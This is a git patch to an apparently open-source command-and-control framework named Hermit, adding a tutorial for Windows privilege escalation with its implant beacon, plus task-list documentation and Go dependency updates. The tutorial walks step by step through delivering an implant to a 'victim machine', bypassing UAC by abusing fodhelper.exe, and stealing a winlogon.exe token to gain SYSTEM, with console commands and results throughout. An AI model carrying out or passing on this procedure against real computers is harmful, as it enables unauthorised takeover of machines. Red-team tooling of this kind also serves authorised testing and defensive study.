From 8ed4a2c16dfe6e1c3441f455b6089b38375aa31f Mon Sep 17 00:00:00 2001 From: hdks Date: Tue, 14 May 2024 00:41:15 +0900 Subject: [PATCH] Added a new tutorial: Privilege Escalation with Implant Beacon --- docs/guides/task.md | 11 + ...rivilege-escalation-with-implant-beacon.md | 229 ++++++++++++++++++ docs/tutorials/simple-implant-beacon.md | 8 +- go.mod | 32 +-- go.sum | 72 +++--- payload/win/implant/CMakeLists.txt | 3 +- payload/win/implant/include/core/state.hpp | 1 + payload/win/implant/include/core/task.hpp | 29 ++- payload/win/implant/src/core/handler.cpp | 28 ++- payload/win/implant/src/core/task/creds.cpp | 174 ------------- payload/win/implant/src/core/task/dll.cpp | 4 +- .../win/implant/src/core/task/download.cpp | 1 + payload/win/implant/src/core/task/find.cpp | 79 ++++++ payload/win/implant/src/core/task/pe.cpp | 4 +- payload/win/implant/src/core/task/persist.cpp | 1 - .../win/implant/src/core/task/procdump.cpp | 1 + .../win/implant/src/core/task/screenshot.cpp | 1 + .../win/implant/src/core/task/shellcode.cpp | 4 +- payload/win/implant/src/core/task/token.cpp | 4 +- payload/win/implant/src/core/task/uac.cpp | 85 +++++++ payload/win/implant/src/core/task/upload.cpp | 4 +- payload/win/loader/include/core/nt.hpp | 10 + payload/win/loader/include/core/procs.hpp | 5 + payload/win/loader/include/core/technique.hpp | 5 + payload/win/loader/script/calc_api_hash.py | 1 + payload/win/loader/src/core/procs.cpp | 143 +++++------ .../injection/shellcode_injection.cpp | 80 ++++++ payload/win/loader/src/hermit.cpp | 8 + pkg/client/rpc/request.go | 2 + pkg/common/parser/amtaskcommand.go | 61 +++++ pkg/common/parser/parser.go | 3 +- pkg/common/utils/random.go | 10 + pkg/common/wizard/payload.go | 4 +- pkg/protobuf/rpcpb/rpc.pb.go | 220 +++++++++-------- pkg/protobuf/rpcpb/rpc.proto | 1 + pkg/server/agent/agent.go | 3 + pkg/server/agent/stdout.go | 3 + pkg/server/db/agent.go | 28 ++- pkg/server/db/db.go | 3 +- pkg/server/service/https.go | 194 +++++++++------ pkg/server/task/task.go | 23 +- 41 files changed, 1074 insertions(+), 508 deletions(-) create mode 100644 docs/tutorials/privilege-escalation-with-implant-beacon.md delete mode 100644 payload/win/implant/src/core/task/creds.cpp create mode 100644 payload/win/implant/src/core/task/find.cpp create mode 100644 payload/win/implant/src/core/task/uac.cpp diff --git a/docs/guides/task.md b/docs/guides/task.md index 89be43e..871c152 100644 --- a/docs/guides/task.md +++ b/docs/guides/task.md @@ -18,6 +18,7 @@ TASK: download Download a file. env ls List environment variables. envs alias for 'env ls' + find Find files. group ls List local groups. groups Alias for 'group ls'. history Retrieve information from history files of applications @@ -49,6 +50,7 @@ TASK: sleep Set sleep time (seconds) between requests from beacon. token revert Revert back to the original process token. token steal Steal token from the specified process and impersonate process. + uac Bypass UAC and start another session. upload Upload a file to the target computer. user ls List users. users Alias for 'user ls'. @@ -133,6 +135,15 @@ Hermit [agent-abcd] > download C:/Users/John/Desktop/example.txt /tmp/example.tx Lists environment variables in victim machine. +## `find` + +Find files or directories that contain the specified strings. + +```sh +# -n: Specified strings +Hermit [agent-abcd] > find -n "creds.txt" ./ +``` + ## `group` ### `group ls`, `groups` diff --git a/docs/tutorials/privilege-escalation-with-implant-beacon.md b/docs/tutorials/privilege-escalation-with-implant-beacon.md new file mode 100644 index 0000000..5f93f1b --- /dev/null +++ b/docs/tutorials/privilege-escalation-with-implant-beacon.md @@ -0,0 +1,229 @@ +# Privilege Escalation with Implant Beacon + +In this tutorial, we're going to escalate privilege to **System** user with implant beacon on Windows victim machine. + +Assume that you've already done [the Tutorial: Simple Implant Beacon](./simple-implant-beacon.md). + +## 1. Start Implant & Activate Agent Mode + +Because we've already learned the basic operation for an implant in the previous tutorial, we proceed as follows without detailed explanations: + +```sh title="Hermit C2 Server Console" +# 1. Start Hermit server. +./hermit + +# 2. Start listener. +Hermit > listener new + +# 3. Generate an implant (beacon, windows/amd64/exe). +Hermit > payload gen + +# 4. Transfer the implant to Windows victim machine and execute it. + +# Wait until the agent callbacks... + +# 5. Activate the Agent Mode. +Hermit > agent use 1 +Hermit [agent-stephan] > +``` + +Now we can send tasks to the agent and get result callbacks. + +## 2. Check the Current Privileges + +Because we want to compare the privileges before/after, check the current privileges with the following command at first: + +```sh title="Hermit C2 Server Console" +Hermit [agent-stephan] > whoami --priv +``` + +This command prints the current privileges. +After a few seconds, see the result: + +```sh title="Hermit C2 Server Console" +Hermit [agent-stephan] > task results + +2024-05-13 09:53:55 : whoami priv +================================= +x SeShutdownPrivilege +o SeChangeNotifyPrivilege +x SeUndockPrivilege +x SeIncreaseWorkingSetPrivilege +x SeTimeZonePrivilege +``` + +In most cases we should get the result similar to the above. +However, these privielges are not enough for highly sensitive operations, so we want more higher authority. + +Now escalate privilege. + +## 3. UAC Bypass + +**Hermit** has useful command (task) to bypass UAC, so we're going to use the method. +Run the `uac` task on the C2 server console: + +```sh title="Hermit C2 Server Console" +Hermit [agent-stephan] > uac +Technique: fodhelper +``` + +This task bypasses **UAC** by abusing `fodhelper.exe` and start another **implant** process. +Wait until the task result will be callback, then check the result: + +```sh title="Hermit C2 Server Console" +Hermit [agent-stephan] > task results + +2024-05-13 09:54:05 : uac --technique fodhelper +=============================================== +Success: The fodhelper.exe and another process started successfully. +``` + +Okay, now the implant **'escalated'** process has started. +Exit the current agent mode and check another agent session: + +```sh title="Hermit C2 Server Console" +Hermit [agent-stephan] > exit +Hermit > agents +[+] +ID Name IP OS/Arch Hostname ListenerURL ImplantType CheckIn SessionID +1 agent-stephan 172.20.32.1 windows/amd64 VICTIM-MACHINE https://example.evil:56692 beacon 2024-05-13 09:53:17 Imh2EvmDAJOglBMJZjBddB1Dib5UyJt2 +2 agent-elizabeth 172.20.32.1 windows/amd64 VICTIM-MACHINE https://example.evil:56692 beacon 2024-05-13 09:54:12 HHqvfKw8I5Lu4bzmH6MFknjKO7YFV3lG +``` + +We should see another agent listed as above. Switch to this newly agent mode: + +```sh title="Hermit C2 Server Console" +Hermit > agent use 2 +Hermit [agent-elizabeth] > +``` + +Now check the privilege: + +```sh title="Hermit C2 Server Console" +Hermit [agent-elizabeth] > whoami --priv + +# Wait until the result will be callback... + +Hermit [agent-elizabeth] > task results + +2024-05-13 09:54:41 : whoami priv +================================= +x SeIncreaseQuotaPrivilege +x SeSecurityPrivilege +x SeTakeOwnershipPrivilege +x SeLoadDriverPrivilege +x SeSystemProfilePrivilege +x SeSystemtimePrivilege +x SeProfileSingleProcessPrivilege +x SeIncreaseBasePriorityPrivilege +x SeCreatePagefilePrivilege +x SeBackupPrivilege +x SeRestorePrivilege +x SeShutdownPrivilege +x SeDebugPrivilege +x SeSystemEnvironmentPrivilege +o SeChangeNotifyPrivilege +x SeRemoteShutdownPrivilege +x SeUndockPrivilege +x SeManageVolumePrivilege +o SeImpersonatePrivilege +o SeCreateGlobalPrivilege +x SeIncreaseWorkingSetPrivilege +x SeTimeZonePrivilege +x SeCreateSymbolicLinkPrivilege +x SeDelegateSessionUserImpersonatePrivilege +``` + +You can see that the privileges have changed from the ones we initially checked. +Sicne we have **SeImpersonatePrivilege**, we can abuse it for privilege escalation with Token Manipulation! + +## 4. Token Stealing + +We're going to steal token and impersonate logged-on as **SYSTEM** user with Token Manipulation technique. +Firstly, enumerate running proccesses and find a process which is available to our purpose so run the following command: + +```sh title="Hermit C2 Server Console" +Hermit [agent-elizabeth] > ps ls + +# Wait until the result callback... + +Hermit [agent-elizabeth] > task results + +2024-05-13 10:13:23 : ps ls --exclude --filter +================================================ + PID Name + --- ---- + 0 + 4 System + 72 Registry + 532 smss.exe + 640 csrss.exe + 736 wininit.exe + 744 csrss.exe + 792 winlogon.exe + ... +``` + +In the result, we can use the `winlogon.exe` process (PID: 792). +Then try stealing using this PID: + +```sh title="Hermit C2 Server Console" +# -p 792: Set the target PID 792. +# --login: Enable impersonate logged-on. +Hermit [agent-elizabeth] > token steal -p 792 --login + +# Wait until the result will be callback... + +Hermit [agent-elizabeth] > task results + +2024-05-13 10:14:32 : token steal --pid 792 --login true +=============================================================================== +Success: Token has been stolen successfully. +``` + +If this task is succussful, we should be now **SYSTEM** user. +Check that with the following commands: + +```sh title="Hermit C2 Server Console" +Hermit [agent-elizabeth] > whoami +Hermit [agent-elizabeth] > whoami --priv +``` + +We should see that we're **SYSTEM** user and have more highly privileges enabled as follow: + +```sh title="Hermit C2 Server Console" +Hermit [agent-elizabeth] > task results + +2024-05-13 10:14:40 : whoami +============================ +VICTIM-MACHINE\SYSTEM + +2024-05-13 10:14:51 : whoami priv +================================= +x SeIncreaseQuotaPrivilege +x SeSecurityPrivilege +x SeTakeOwnershipPrivilege +x SeLoadDriverPrivilege +x SeSystemProfilePrivilege +x SeSystemtimePrivilege +x SeProfileSingleProcessPrivilege +x SeIncreaseBasePriorityPrivilege +x SeCreatePagefilePrivilege +x SeBackupPrivilege +x SeRestorePrivilege +x SeShutdownPrivilege +o SeDebugPrivilege +x SeSystemEnvironmentPrivilege +o SeChangeNotifyPrivilege +x SeRemoteShutdownPrivilege +x SeUndockPrivilege +x SeManageVolumePrivilege +o SeImpersonatePrivilege +o SeCreateGlobalPrivilege +x SeIncreaseWorkingSetPrivilege +x SeTimeZonePrivilege +x SeCreateSymbolicLinkPrivilege +x SeDelegateSessionUserImpersonatePrivilege +``` + +Of particular note is that we own **SeDebugPrivilege**. With this privilege, we can do many things on this victim machine. diff --git a/docs/tutorials/simple-implant-beacon.md b/docs/tutorials/simple-implant-beacon.md index edf37e8..d120b8d 100644 --- a/docs/tutorials/simple-implant-beacon.md +++ b/docs/tutorials/simple-implant-beacon.md @@ -86,6 +86,7 @@ TASK: download Download a file. env ls List environment variables. envs alias for 'env ls' + find Find files. group ls List local groups. groups Alias for 'group ls'. history Retrieve information from history files of applications @@ -117,6 +118,7 @@ TASK: sleep Set sleep time (seconds) between requests from beacon. token revert Revert back to the original process token. token steal Steal token from the specified process and impersonate process. + uac Bypass UAC and start another session. upload Upload a file to the target computer. user ls List users. users Alias for 'user ls'. @@ -169,4 +171,8 @@ Hermit > listener stop 1 Hermit > listener delete 1 ``` -`1` is the listener ID that can be seen by `listeners` command. \ No newline at end of file +`1` is the listener ID that can be seen by `listeners` command. + +## Attack Further... + +If you'd like to escalate privilege, please try [the Tutorial: Privilege Escalation with Implant Beacon](./privilege-escalation-with-implant-beacon.md). \ No newline at end of file diff --git a/go.mod b/go.mod index 051c873..d1e92e7 100644 --- a/go.mod +++ b/go.mod @@ -7,6 +7,7 @@ require ( github.com/briandowns/spinner v1.23.0 github.com/chzyer/readline v1.5.1 github.com/fatih/color v1.16.0 + github.com/gin-contrib/sessions v1.0.1 github.com/gin-gonic/gin v1.9.1 github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.1 @@ -14,41 +15,44 @@ require ( github.com/mattn/go-shellwords v1.0.12 github.com/mattn/go-sqlite3 v1.14.22 github.com/rodaine/table v1.1.1 - golang.org/x/term v0.18.0 + golang.org/x/term v0.19.0 golang.org/x/text v0.14.0 google.golang.org/grpc v1.61.1 google.golang.org/protobuf v1.33.0 ) require ( - github.com/bytedance/sonic v1.9.1 // indirect - github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect + github.com/bytedance/sonic v1.11.3 // indirect + github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d // indirect + github.com/chenzhuoyu/iasm v0.9.1 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/gabriel-vasile/mimetype v1.4.2 // indirect + github.com/gabriel-vasile/mimetype v1.4.3 // indirect github.com/gin-contrib/sse v0.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.14.0 // indirect + github.com/go-playground/validator/v10 v10.19.0 // indirect github.com/goccy/go-json v0.10.2 // indirect github.com/golang/protobuf v1.5.4 // indirect + github.com/gorilla/context v1.1.2 // indirect + github.com/gorilla/securecookie v1.1.2 // indirect + github.com/gorilla/sessions v1.2.2 // indirect github.com/json-iterator/go v1.1.12 // indirect - github.com/klauspost/cpuid/v2 v2.2.4 // indirect + github.com/klauspost/cpuid/v2 v2.2.7 // indirect github.com/kr/pretty v0.3.1 // indirect - github.com/leodido/go-urn v1.2.4 // indirect + github.com/leodido/go-urn v1.4.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect - github.com/pelletier/go-toml/v2 v2.0.8 // indirect + github.com/pelletier/go-toml/v2 v2.2.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rogpeppe/go-internal v1.10.0 // indirect - github.com/stretchr/testify v1.9.0 // indirect github.com/twitchyliquid64/golang-asm v0.15.1 // indirect - github.com/ugorji/go/codec v1.2.11 // indirect - golang.org/x/arch v0.3.0 // indirect - golang.org/x/crypto v0.21.0 // indirect - golang.org/x/net v0.22.0 // indirect - golang.org/x/sys v0.18.0 // indirect + github.com/ugorji/go/codec v1.2.12 // indirect + golang.org/x/arch v0.7.0 // indirect + golang.org/x/crypto v0.22.0 // indirect + golang.org/x/net v0.24.0 // indirect + golang.org/x/sys v0.19.0 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20231106174013-bbf56f31fb17 // indirect gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index 6faf7cc..5b75a35 100644 --- a/go.sum +++ b/go.sum @@ -7,11 +7,16 @@ github.com/alecthomas/repr v0.1.0/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygv github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A= github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE= github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= -github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s= -github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= +github.com/bytedance/sonic v1.10.0-rc/go.mod h1:ElCzW+ufi8qKqNW0FY314xriJhyJhuoJ3gFZdAHF7NM= +github.com/bytedance/sonic v1.11.3 h1:jRN+yEjakWh8aK5FzrciUHG8OFXK+4/KrAX/ysEtHAA= +github.com/bytedance/sonic v1.11.3/go.mod h1:iZcSUejdk5aukTND/Eu/ivjQuEL0Cu9/rf50Hi0u/g4= github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= -github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams= github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= +github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d h1:77cEq6EriyTZ0g/qfRdp61a3Uu/AWrgIq2s0ClJV1g0= +github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d/go.mod h1:8EPpVsBuRksnlj1mLy4AWzRNQYxauNi62uWcE3to6eA= +github.com/chenzhuoyu/iasm v0.9.0/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= +github.com/chenzhuoyu/iasm v0.9.1 h1:tUHQJXo3NhBqw6s33wkGn9SP3bvrWLdlVIJ3hQBL7P0= +github.com/chenzhuoyu/iasm v0.9.1/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= @@ -28,8 +33,10 @@ github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1 github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= -github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= -github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= +github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= +github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= +github.com/gin-contrib/sessions v1.0.1 h1:3hsJyNs7v7N8OtelFmYXFrulAf6zSR7nW/putcPEHxI= +github.com/gin-contrib/sessions v1.0.1/go.mod h1:ouxSFM24/OgIud5MJYQJLpy6AwxQ5EYO9yLhbtObGkM= github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= @@ -40,8 +47,8 @@ github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/o github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js= -github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= +github.com/go-playground/validator/v10 v10.19.0 h1:ol+5Fu+cSq9JD7SoSqe04GMI92cbn0+wvQ3bZ8b/AU4= +github.com/go-playground/validator/v10 v10.19.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= @@ -49,8 +56,16 @@ github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6 github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= +github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o= +github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM= +github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA= +github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo= +github.com/gorilla/sessions v1.2.2 h1:lqzMYz6bOfvn2WriPUjNByzeXIlVzURcPmgMczkmTjY= +github.com/gorilla/sessions v1.2.2/go.mod h1:ePLdVu+jbEgHH+KWw8I1z2wqd0BAdAQh/8LRvBeoNcQ= github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= @@ -58,8 +73,9 @@ github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSo github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= -github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk= -github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= +github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= +github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= @@ -67,8 +83,8 @@ github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= -github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA= github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= @@ -87,8 +103,8 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ= -github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= +github.com/pelletier/go-toml/v2 v2.2.0 h1:QLgLl2yMN7N+ruc31VynXs1vhMZa7CeHHejIeBAsoHo= +github.com/pelletier/go-toml/v2 v2.2.0/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= @@ -103,36 +119,35 @@ github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncj github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= -github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU= -github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= +github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= +github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod 